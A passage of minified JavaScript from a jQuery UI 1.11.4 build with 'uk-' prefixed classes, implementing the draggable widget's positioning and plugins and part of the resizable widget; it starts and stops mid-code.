e=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var t=this.element.position(),e=this._isRootNode(this.scrollParent[0]);return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+(e?0:this.scrollParent.scrollTop()),left:t.left-(parseInt(this.helper.css("left"),10)||0)+(e?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e,i,s,n=this.options,a=this.document[0];return this.relativeContainer=null,n.containment?"window"===n.containment?(this.containment=[t(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,t(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,t(window).scrollLeft()+t(window).width()-this.helperProportions.width-this.margins.left,t(window).scrollTop()+(t(window).height()||a.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):"document"===n.containment?(this.containment=[0,0,t(a).width()-this.helperProportions.width-this.margins.left,(t(a).height()||a.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):n.containment.constructor===Array?(this.containment=n.containment,void 0):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=t(n.containment),s=i[0],s&&(e=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(e?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(e?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void 0):(this.containment=null,void 0)},_convertPositionTo:function(t,e){e||(e=this.position);var i="absolute"===t?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:e.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:e.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(t,e){var i,s,n,a,o=this.options,r=this._isRootNode(this.scrollParent[0]),h=t.pageX,l=t.pageY;return r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),e&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,t.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),t.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),t.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),t.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),o.grid&&(n=o.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/o.grid[1])*o.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-o.grid[1]:n+o.grid[1]:n,a=o.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/o.grid[0])*o.grid[0]:this.originalPageX,h=i?a-this.offset.click.left>=i[0]||a-this.offset.click.left>i[2]?a:a-this.offset.click.left>=i[0]?a-o.grid[0]:a+o.grid[0]:a),"y"===o.axis&&(h=this.originalPageX),"x"===o.axis&&(l=this.originalPageY)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this.helper.removeClass("uk-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_normalizeRightBottom:function(){"y"!==this.options.axis&&"auto"!==this.helper.css("right")&&(this.helper.width(this.helper.width()),this.helper.css("right","auto")),"x"!==this.options.axis&&"auto"!==this.helper.css("bottom")&&(this.helper.height(this.helper.height()),this.helper.css("bottom","auto"))},_trigger:function(e,i,s){return s=s||this._uiHash(),t.ui.plugin.call(this,e,[i,s,this],!0),/^(drag|start|stop)/.test(e)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),t.Widget.prototype._trigger.call(this,e,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),t.ui.plugin.add("draggable","connectToSortable",{start:function(e,i,s){var n=t.extend({},i,{item:s.element});s.sortables=[],t(s.options.connectToSortable).each(function(){var i=t(this).sortable("instance");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger("activate",e,n))})},stop:function(e,i,s){var n=t.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,t.each(s.sortables,function(){var t=this;t.isOver?(t.isOver=0,s.cancelHelperRemoval=!0,t.cancelHelperRemoval=!1,t._storedCSS={position:t.placeholder.css("position"),top:t.placeholder.css("top"),left:t.placeholder.css("left")},t._mouseStop(e),t.options.helper=t.options._helper):(t.cancelHelperRemoval=!0,t._trigger("deactivate",e,n))})},drag:function(e,i,s){t.each(s.sortables,function(){var n=!1,a=this;a.positionAbs=s.positionAbs,a.helperProportions=s.helperProportions,a.offset.click=s.offset.click,a._intersectsWith(a.containerCache)&&(n=!0,t.each(s.sortables,function(){return this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==a&&this._intersectsWith(this.containerCache)&&t.contains(a.element[0],this.element[0])&&(n=!1),n})),n?(a.isOver||(a.isOver=1,s._parent=i.helper.parent(),a.currentItem=i.helper.appendTo(a.element).data("uk-sortable-item",!0),a.options._helper=a.options.helper,a.options.helper=function(){return i.helper[0]},e.target=a.currentItem[0],a._mouseCapture(e,!0),a._mouseStart(e,!0,!0),a.offset.click.top=s.offset.click.top,a.offset.click.left=s.offset.click.left,a.offset.parent.left-=s.offset.parent.left-a.offset.parent.left,a.offset.parent.top-=s.offset.parent.top-a.offset.parent.top,s._trigger("toSortable",e),s.dropped=a.element,t.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,a.fromOutside=s),a.currentItem&&(a._mouseDrag(e),i.position=a.position)):a.isOver&&(a.isOver=0,a.cancelHelperRemoval=!0,a.options._revert=a.options.revert,a.options.revert=!1,a._trigger("out",e,a._uiHash(a)),a._mouseStop(e,!0),a.options.revert=a.options._revert,a.options.helper=a.options._helper,a.placeholder&&a.placeholder.remove(),i.helper.appendTo(s._parent),s._refreshOffsets(e),i.position=s._generatePosition(e,!0),s._trigger("fromSortable",e),s.dropped=!1,t.each(s.sortables,function(){this.refreshPositions()}))})}}),t.ui.plugin.add("draggable","cursor",{start:function(e,i,s){var n=t("body"),a=s.options;n.css("cursor")&&(a._cursor=n.css("cursor")),n.css("cursor",a.cursor)},stop:function(e,i,s){var n=s.options;n._cursor&&t("body").css("cursor",n._cursor)}}),t.ui.plugin.add("draggable","opacity",{start:function(e,i,s){var n=t(i.helper),a=s.options;n.css("opacity")&&(a._opacity=n.css("opacity")),n.css("opacity",a.opacity)},stop:function(e,i,s){var n=s.options;n._opacity&&t(i.helper).css("opacity",n._opacity)}}),t.ui.plugin.add("draggable","scroll",{start:function(t,e,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(e,i,s){var n=s.options,a=!1,o=s.scrollParentNotHidden[0],r=s.document[0];o!==r&&"HTML"!==o.tagName?(n.axis&&"x"===n.axis||(s.overflowOffset.top+o.offsetHeight-e.pageY<n.scrollSensitivity?o.scrollTop=a=o.scrollTop+n.scrollSpeed:e.pageY-s.overflowOffset.top<n.scrollSensitivity&&(o.scrollTop=a=o.scrollTop-n.scrollSpeed)),n.axis&&"y"===n.axis||(s.overflowOffset.left+o.offsetWidth-e.pageX<n.scrollSensitivity?o.scrollLeft=a=o.scrollLeft+n.scrollSpeed:e.pageX-s.overflowOffset.left<n.scrollSensitivity&&(o.scrollLeft=a=o.scrollLeft-n.scrollSpeed))):(n.axis&&"x"===n.axis||(e.pageY-t(r).scrollTop()<n.scrollSensitivity?a=t(r).scrollTop(t(r).scrollTop()-n.scrollSpeed):t(window).height()-(e.pageY-t(r).scrollTop())<n.scrollSensitivity&&(a=t(r).scrollTop(t(r).scrollTop()+n.scrollSpeed))),n.axis&&"y"===n.axis||(e.pageX-t(r).scrollLeft()<n.scrollSensitivity?a=t(r).scrollLeft(t(r).scrollLeft()-n.scrollSpeed):t(window).width()-(e.pageX-t(r).scrollLeft())<n.scrollSensitivity&&(a=t(r).scrollLeft(t(r).scrollLeft()+n.scrollSpeed)))),a!==!1&&t.ui.ddmanager&&!n.dropBehaviour&&t.ui.ddmanager.prepareOffsets(s,e)}}),t.ui.plugin.add("draggable","snap",{start:function(e,i,s){var n=s.options;s.snapElements=[],t(n.snap.constructor!==String?n.snap.items||":data(uk-draggable)":n.snap).each(function(){var e=t(this),i=e.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:e.outerWidth(),height:e.outerHeight(),top:i.top,left:i.left})})},drag:function(e,i,s){var n,a,o,r,h,l,u,c,d,p,f=s.options,m=f.snapTolerance,g=i.offset.left,v=g+s.helperProportions.width,_=i.offset.top,b=_+s.helperProportions.height;for(d=s.snapElements.length-1;d>=0;d--)h=s.snapElements[d].left-s.margins.left,l=h+s.snapElements[d].width,u=s.snapElements[d].top-s.margins.top,c=u+s.snapElements[d].height,h-m>v||g>l+m||u-m>b||_>c+m||!t.contains(s.snapElements[d].item.ownerDocument,s.snapElements[d].item)?(s.snapElements[d].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=!1):("inner"!==f.snapMode&&(n=m>=Math.abs(u-b),a=m>=Math.abs(c-_),o=m>=Math.abs(h-v),r=m>=Math.abs(l-g),n&&(i.position.top=s._convertPositionTo("relative",{top:u-s.helperProportions.height,left:0}).top),a&&(i.position.top=s._convertPositionTo("relative",{top:c,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h-s.helperProportions.width}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l}).left)),p=n||a||o||r,"outer"!==f.snapMode&&(n=m>=Math.abs(u-_),a=m>=Math.abs(c-b),o=m>=Math.abs(h-g),r=m>=Math.abs(l-v),n&&(i.position.top=s._convertPositionTo("relative",{top:u,left:0}).top),a&&(i.position.top=s._convertPositionTo("relative",{top:c-s.helperProportions.height,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left)),!s.snapElements[d].snapping&&(n||a||o||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=n||a||o||r||p)}}),t.ui.plugin.add("draggable","stack",{start:function(e,i,s){var n,a=s.options,o=t.makeArray(t(a.stack)).sort(function(e,i){return(parseInt(t(e).css("zIndex"),10)||0)-(parseInt(t(i).css("zIndex"),10)||0)});o.length&&(n=parseInt(t(o[0]).css("zIndex"),10)||0,t(o).each(function(e){t(this).css("zIndex",n+e)}),this.css("zIndex",n+o.length))}}),t.ui.plugin.add("draggable","zIndex",{start:function(e,i,s){var n=t(i.helper),a=s.options;n.css("zIndex")&&(a._zIndex=n.css("zIndex")),n.css("zIndex",a.zIndex)},stop:function(e,i,s){var n=s.options;n._zIndex&&t(i.helper).css("zIndex",n._zIndex)}}),t.ui.draggable,t.widget("ui.resizable",t.ui.mouse,{version:"1.11.4",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(t){return parseInt(t,10)||0
},_isNumber:function(t){return!isNaN(parseInt(t,10))},_hasScroll:function(e,i){if("hidden"===t(e).css("overflow"))return!1;var s=i&&"left"===i?"scrollLeft":"scrollTop",n=!1;return e[s]>0?!0:(e[s]=1,n=e[s]>0,e[s]=0,n)},_create:function(){var e,i,s,n,a,o=this,r=this.options;if(this.element.addClass("uk-resizable"),t.extend(this,{_aspectRatio:!!r.aspectRatio,aspectRatio:r.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:r.helper||r.ghost||r.animate?r.helper||"uk-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(t("<div class='uk-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("uk-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")}),this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0}),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css({margin:this.originalElement.css("margin")}),this._proportionallyResize()),this.handles=r.handles||(t(".uk-resizable-handle",this.element).length?{n:".uk-resizable-n",e:".uk-resizable-e",s:".uk-resizable-s",w:".uk-resizable-w",se:".uk-resizable-se",sw:".uk-resizable-sw",ne:".uk-resizable-ne",nw:".uk-resizable-nw"}:"e,s,se"),this._handles=t(),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),e=this.handles.split(","),this.handles={},i=0;e.length>i;i++)s=t.trim(e[i]),a="uk-resizable-"+s,n=t("<div class='uk-resizable-handle "+a+"'></div>"),n.css({zIndex:r.zIndex}),"se"===s&&n.addClass("uk-icon uk-icon-gripsmall-diagonal-se"),this.handles[s]=".uk-resizable-"+s,this.element.append(n);this._renderAxis=function(e){var i,s,n,a;e=e||this.element;for(i in this.handles)this.handles[i].constructor===String?this.handles[i]=this.element.children(this.handles[i]).first().show():(this.handles[i].jquery||this.handles[i].nodeType)&&(this.handles[i]=t(this.handles[i]),this._on(this.handles[i],{mousedown:o._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(s=t(this.handles[i],this.element),a=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),n=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),e.css(n,a),this._proportionallyResize()),this._handles=this._handles.add(this.handles[i])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(".uk-resizable-handle")),this._handles.disableSelection(),this._handles.mouseover(function(){o.resizing||(this.className&&(n=this.className.match(/uk-resizable-(se|sw|ne|nw|n|e|s|w)/i)),o.axis=n&&n[1]?n[1]:"se")}),r.autoHide&&(this._handles.hide(),t(this.element).addClass("uk-resizable-autohide").mouseenter(function(){r.disabled||(t(this).removeClass("uk-resizable-autohide"),o._handles.show())}).mouseleave(function(){r.disabled||o.resizing||(t(this).addClass("uk-resizable-autohide"),o._handles.hide())})),this._mouseInit()},_destroy:function(){this._mouseDestroy();var e,i=function(e){t(e).removeClass("uk-resizable uk-resizable-disabled uk-resizable-resizing").removeData("resizable").removeData("uk-resizable").unbind(".resizable").find(".uk-resizable-handle").remove()};return this.elementIsWrapper&&(i(this.element),e=this.element,this.originalElement.css({position:e.css("position"),width:e.outerWidth(),height:e.outerHeight(),top:e.css("top"),left:e.css("left")}).insertAfter(e),e.remove()),this.originalElement.css("resize",this.originalResizeStyle),i(this.originalElement),this},_mouseCapture:function(e){var i,s,n=!1;for(i in this.handles)s=t(this.handles[i])[0],(s===e.target||t.contains(s,e.target))&&(n=!0);return!this.options.disabled&&n},_mouseStart:function(e){var i,s,n,a=this.options,o=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css("left")),s=this._num(this.helper.css("top")),a.containment&&(i+=t(a.containment).scrollLeft()||0,s+=t(a.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:s},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:o.width(),height:o.height()},this.originalSize=this._helper?{width:o.outerWidth(),height:o.outerHeight()}:{width:o.width(),height:o.height()},this.sizeDiff={width:o.outerWidth()-o.width(),height:o.outerHeight()-o.height()},this.originalPosition={left:i,top:s},this.originalMousePosition={left:e.pageX,top:e.pageY},this.aspectRatio="number"==typeof a.aspectRatio?a.aspectRatio:this.originalSize.width/this.originalSize.height||1,n=t(".uk-resizable-"+this.axis).css("cursor"),t("body").css("cursor","auto"===n?this.axis+"-resize":n),o.addClass("uk-resizable-resizing"),this._propagate("start",e),!0},_mouseDrag:function(e){var i,s,n=this.originalMousePosition,a=this.axis,o=e.pageX-n.left||0,r=e.pageY-n.top||0,h=this._change[a];return this._updatePrevProperties(),h?(i=h.apply(this,[e,o,r]),this._updateVirtualBoundaries(e.shiftKey),(this._aspectRatio||e.shiftKey)&&(i=this._updateRatio(i,e)),i=this._respectSize(i,e),this._updateCache(i),this._propagate("resize",e),s=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),t.isEmptyObject(s)||(this._updatePrevProperties(),this._trigger("resize",e,this.ui()),this._applyChanges()),!1):!1},_mouseStop:function(e){this.resizing=!1;var i,s,n,a,o,r,h,l=this.options,u=this;return this._helper&&(i=this._proportionallyResizeElements,s=i.length&&/textarea/i.test(i[0].nodeName),n=s&&this._hasScroll(i[0],"left")?0:u.sizeDiff.height,a=s?0:u.sizeDiff.width,o={width:u.helper.width()-a,height:u.helper.height()-n},r=parseInt(u.element.css("left"),10)+(u.position.left-u.originalPosition.left)||null,h=parseInt(u.element.css("top"),10)+(u.position.top-u.originalPosition.top)||null,l.animate||this.element.css(t.extend(o,{top:h,left:r})),u.helper.height(u.size.height),u.helper.width(u.size.width),this._helper&&!l.animate&&this._proportionallyResize()),t("body").css("cursor","auto"),this.element.removeClass("uk-resizable-resizing"),this._propagate("stop",e),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var t={};return this.position.top!==this.prevPosition.top&&(t.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(t.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(t.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(t.height=this.size.height+"px"),this.helper.css(t),t},_updateVirtualBoundaries:function(t){var e,i,s,n,a,o=this.options;a={minWidth:this._isNumber(o.minWidth)?o.minWidth:0,maxWidth:this._isNumber(o.maxWidth)?o.maxWidth:1/0,minHeight:this._isNumber(o.minHeight)?o.minHeight:0,maxHeight:this._isNumber(o.maxHeight)?o.maxHeight:1/0},(this._aspectRatio||t)&&(e=a.minHeight*this.aspectRatio,s=a.minWidth/this.aspectRatio,i=a.maxHeight*this.aspectRatio,n=a.maxWidth/this.aspectRatio,e>a.minWidth&&(a.minWidth=e),s>a.minHeight&&(a.minHeight=s),a.maxWidth>i&&(a.maxWidth=i),a.maxHeight>n&&(a.maxHeight=n)),this._vBoundaries=a},_updateCache:function(t){this.offset=this.helper.offset(),this._isNumber(t.left)&&(this.position.left=t.left),this._isNumber(t.top)&&(this.position.top=t.top),this._isNumber(t.height)&&(this.size.height=t.height),this._isNumber(t.width)&&(this.size.width=t.width)},_updateRatio:function(t){var e=this.position,i=this.size,s=this.axis;return this._isNumber(t.height)?t.width=t.height*this.aspectRatio:this._isNumber(t.width)&&(t.height=t.width/this.aspectRatio),"sw"===s&&(t.left=e.left+(i.width-t.width),t.top=null),"nw"===s&&(t.top=e.top+(i.height-t.height),t.left=e.left+(i.width-t.width)),t},_respectSize:function(t){var e=this._vBoundaries,i=this.axis,s=this._isNumber(t.width)&&e.maxWidth&&e.maxWidth<t.width,n=this._isNumber(t.height)&&e.maxHeight&&e.maxHeight<t.height,a=this._isNumber(t.width)&&e.minWidth&&e.minWidth>t.width,o=this._isNumber(t.height)&&e.minHeight&&e.minHeight>t.height,r=this.originalPosition.left+this.originalSize.width,h=this.position.top+this.size.height,l=/sw|nw|w/.test(i),u=/nw|ne|n/.test(i);return a&&(t.width=e.minWidth),o&&(t.height=e.minHeight),s&&(t.width=e.maxWidth),n&&(t.height=e.maxHeight),a&&l&&(t.left=r-e.minWidth),s&&l&&(t.left=r-e.maxWidth),o&&u&&(t.top=h-e.minHeight),n&&u&&(t.top=h-e.maxHeight),t.width||t.height||t.left||!t.top?t.width||t.height||t.top||!t.left||(t.left=null):t.top=null,t},_getPaddingPlusBorderDimensions:function(t){for(var e=0,i=[],s=[t.css("borderTopWidth"),t.css("borderRightWidth"),t.css("borderBottomWidth"),t.css("borderLeftWidth")],n=[t.css("paddingTop"),t.css("paddingRight"),t.css("paddingBottom"),t.css("paddingLeft")];4>e;e++)i[e]=parseInt(s[e],10)||0,i[e]+=parseInt(n[e],10)||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var t,e=0,i=this.helper||this.element;this._proportionallyResizeElements.length>e;e++)t=this._proportionallyResizeElements[e],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(t)),t.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var e=this.element,i=this.options;this.elementOffset=e.offset(),this._helper?(this.helper=this.helper||t("<div style='overflow:hidden;'></div>"),this.helper.addClass(this._helper).css({width:this.element.outerWidth()-1,height:this.element.outerHeight()-1,position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(t,e){return{width:this.originalSize.width+e}},w:function(t,e){var i=this.originalSize,s=this.originalPosition;return{left:s.left+e,width:i.width-e}},n:function(t,e,i){var s=this.originalSize,n=this.originalPosition;return{top:n.top+i,height:s.height-i}},s:function(t,e,i){return{height:this.originalSize.height+i}},se:function(e,i,s){return t.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[e,i,s]))},sw:function(e,i,s){return t.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[e,i,s]))},ne:function(e,i,s){return t.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[e,i,s]))},nw:function(e,i,s){return t.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[e,i,s]))}},_propagate:function(e,i){t.ui.plugin.call(this,e,[i,this.ui()]),"resize"!==e&&this._trigger(e,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),t.ui.plugin.add("resizable","animate",{stop:function(e){var i=t(this).resizable("instance"),s=i.options,n=i._proportionallyResizeElements,a=n.length&&/textarea/i.test(n[0].nodeName),o=a&&i._hasScroll(n[0],"left")?0:i.sizeDiff.height,r=a?0:i.sizeDiff.width,h={width:i.size.width-r,height:i.size.height-o},l=parseInt(i.element.css("left"),10)+(i.position.left-i.originalPosition.left)||null,u=parseInt(i.element.css("top"),10)+(i.position.top-i.originalPosition.top)||null;i.element.animate(t.extend(h,u&&l?{top:u,left:l}:{}),{duration:s.animateDuration,easing:s.animateEasing,step:function(){var s={width:parseInt(i.element.css("width"),10),height:parseInt(i.element.css("height"),10),top:parseInt(i.element.css("top"),10),left:parseInt(i.element.css("left"),10)};n&&n.length&&t(n[0]).css({width:s.width,height:s.height}),i._updateCache(s),i._propagate("resize",e)}})}}),t.ui.plugin.add("resizable","containment",{start:function(){var e,i,s,n,a,o,r,h=t(this).resizable("instance"),l=h.options,u=h.element,c=l.containment,d=c instanceof t?c.get(0):/parent/.test(c)?u.parent().get(0):c;d&&(h.containerElement=t(d),/document/.test(c)||c===document?(h.containerOffset={left:0,top:0},h.containerPosition={left:0,top:0},h.parentData={element:t(document),left:0,top:0,width:t(document).width(),height:t(document).height()||document.body.parentNode.scrollHeight}):(e=t(d),i=[],t(["Top","Right","Left","Bottom"]).each(function(t,s){i[t]=h._num(e.css("padding"+s))}),h.containerOffset=e.offset(),h.containerPosition=e.position(),h.containerSize={height:e.innerHeight()-i[3],width:e.innerWidth()-i[1]},s=h.containerOffset,n=h.containerSize.height,a=h.containerSize.width,o=h._hasScroll(d,"left")?d.scrollWidth:a,r=h._hasScroll(d)?d.scrollHeight:n,h.parentData={element:d,left:s.left,top:s.top,width:o,height:r}))},resize:function(e){var i,s,n,a,o=t(this).resizable("instance"),r=o.options,h=o.containerOffset,l=o.position,u=o._aspectRatio||e.shiftKey,c={top:0,left:0},d=o.containerElement,p=!0;d[0]!==document&&/static/.test(d.css("position"))&&(c=h),l.left<(o._helper?h.left:0)&&(o.size.width=o.size.width+(o._helper?o.position.left-h.left:o.position.left-c.left),u&&(o.size.height=o.size.width/o.aspectRatio,p=!1),o.position.left=r.helper?h.left:0),l.top<(o._helper?h.top:0)&&(o.size.height=o.size.height+(o._helper?o.position.top-h.top:o.position.top),u&&(o.size.width=o.size.height*o.aspectRatio,p=!1),o.position.top=o._helper?h.top:0),n=o.containerElement.get(0)===o.element.parent().get(0),a=/relative|absolute/.test(o.containerElement.css("position")),n&&a?(o.offset.left=o.parentData.left+o.position.left,o.offset.top=o.parentData.top+o.position.top):(o.offset.left=o.element.offset().left,o.offset.top=o.element.offset().top),i=Math.abs(o.sizeDiff.width+(o._helper?o.offset.left-c.left:o.offset.left-h.left)),s=Math.abs(o.sizeDiff.height+(o._helper?o.offset.top-c.top:o.offset.top-h.top)),i+o.size.width>=o.parentData.width&&(o.size.width=o.parentData.width-i,u&&(o.size.height=o.size.width/o.aspectRatio,p=!1)),s+o.size.height>=o.parentData.height&&(o.size.height=o.parentData.height-s,u&&(o.size.width=o.size.height*o.aspectRatio,p=!1)),p||(o.position.left=o.prevPosition.left,o.position.top=o.prevPosition.top,o.size.width=o.prevSize.width,o.size.height=o.prevSize.height)},stop:function(){var e=t(this).resizable("instance"),i=e.options,s=e.containerOffset,n=e.containerPosition,a=e.containerElement,o=t(e.helper),r=o.offset(),h=o.outerWidth()-e.sizeDiff.width,l=o.outerHeight()-e.sizeDiff.height;e._helper&&!i.animate&&/relative/.test(a.css("position"))&&t(this).css({left:r.left-n.left-s.left,width:h,height:l}),e._helper&&!i.animate&&/static/.test(a.css("position"))&&t(this).css({left:r.left-n.left-s.left,width:h,height:l})}}),t.ui.plugin.add("resizable","alsoResize",{start:function(){var e=t(this).resizable("instance"),i=e.options;t(i.alsoResize).each(function(){var e=t(this);e.data("uk-resizable-alsoresize",{width:parseInt(e.width(),10),height:parseInt(e.height(),10),left:parseInt(e.css("left"),10),top:parseInt(e.css("top"),10)})})},resize:function(e,i){var s=t(this).resizable("instance"),n=s.options,a=s.originalSize,o=s.originalPosition,r={height:s.size.height-a.height||0,width:s.size.width-a.width||0,top:s.position.top-o.top||0,left:s.position.left-o.left||0};t(n.alsoResize).each(function(){var e=t(this),s=t(this).data("uk-resizable-alsoresize"),n={},a=e.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];t.each(a,function(t,e){var i=(s[e]||0)+(r[e]||0);i&&i>=0&&(n[e]=i||null)}),e.css(n)})},stop:function(){t(this).removeData("resizable-alsoresize")}}),t.ui.plugin.add("resizable","ghost",{start:function(){var e=t(this).resizable("instance"),i=e.options,s=e.size;e.ghost=e.originalElement.clone(),e.ghost.css({opacity:.25,display:"block",position:"relative",height:s.height,width:s.width,margin:0,left:0,top:0}).addClass("uk-resizable-ghost").addClass("string"==typeof i.ghost?i.ghost:""),e.ghost.appendTo(e.helper)},resize:function(){var e=t(this).resizable("instance");e.ghost&&e.ghost.css({position:"relative",height:e.size.height,width:e.size.width})},stop:function(){var e=t(this).resizable("instance");e.ghost&&e.helper&&e.helper.get(0).removeChild(e.ghost.get(0))}}),t.ui.plugin.add("resizable","grid",{resize:function(){var 